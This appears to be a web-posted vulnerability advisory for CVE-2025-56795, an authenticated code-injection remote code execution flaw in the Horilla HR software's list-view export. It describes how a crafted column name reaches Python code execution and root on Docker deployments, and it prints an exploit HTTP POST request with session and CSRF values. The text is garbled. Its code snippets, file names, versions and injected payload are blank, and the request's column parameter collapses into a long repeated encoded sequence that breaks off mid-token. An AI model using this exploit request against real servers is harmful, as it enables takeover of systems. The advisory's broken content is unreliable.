Authenticated RCE in Horilla List-View Export via Code Injection (CVE-2025-56795)

Vulnerability Summary: Authenticated Remote Code Execution (RCE) in Horilla List-View Export Function 1. Vulnerability Overview Vulnerability Name: Authenticated RCE in Horilla List-View Export Vulnerability Type: Code Injection / Remote Code Execution (RCE) Severity: High CVSS Score: 8.8 / 10 CVE ID: CVE-2025-56795 Principle Summary: This vulnerability exists in the list view export functionality of Horilla. When processing export requests, the backend directly concatenates the user-supplied parameter into a Python source code string and passes it to the function for execution. Although is used for validation, this function only ensures that the input is a valid Python literal (such as a string) and cannot prevent malicious Python syntax contained within the string. Attackers can construct special column names (Column Names) and utilize built-in functions like to execute system commands. 2. Impact Scope Affected Software: Horilla (https://github.com/horilla/horilla-hr) Affected Versions: Attack Conditions: Authentication is required (Authenticated). The attacker only needs standard user privileges (Low-privileged user); administrator or special privileges are not required. Impact: The attacker can execute arbitrary system commands on the server. Since Horilla's Docker image runs with privileges by default, this allows the attacker to obtain root privileges on the server and gain full control. 3. Remediation Fixed Version: Remediation Measures: Removed the logic in the function that dynamically generated and executed code based on user input ( ). No longer uses user-provided column names to directly build dynamic functions. 4. POC Code and Exploitation Details Vulnerable Code Snippet (Source Code) File: Function: Attack Payload (Payload) The attacker performs injection by constructing a special column name (Column Identifier). This string is itself a valid Python literal but contains malicious code. Injected Column Name Value: Resulting Code Logic After Injection: When the above string is concatenated into the generated function definition, the code becomes: Note: is a default parameter, which is evaluated immediately during function definition (i.e., when is executed), thereby triggering the command execution. Exploitation Request (HTTP Request) Step 1: Log in with a standard low-privilege user account. Step 2: Send a POST request containing the malicious parameter. ```http POST /export-list-view-hlvf593/ HTTP/1.1 Host: localhost:8000 User-Agent: curl/8.7.1 Accept: / Cookie: sessionid=p57z9tln12u3zq9p0q8j9w6y5fzndf; csrftoken=PW7P5uJ1QhBj2qI3nvCqFa91t5q04R Http-Referer: http://localhost:8000/project/tasks-list-view/ Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: keep-alive id=x%3B%5D%26format=csv&csrfmiddlewaretoken=PW7P5uJ1QhBj2qI3nvCqFa91t5q04R&columns=%5B%2B%27%3B%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%27%26%

Goal Reached Thanks to every supporter — we hit 100%!

Authenticated RCE in Horilla List-View Export via Code Injection (CVE-2025-56795)

More from this source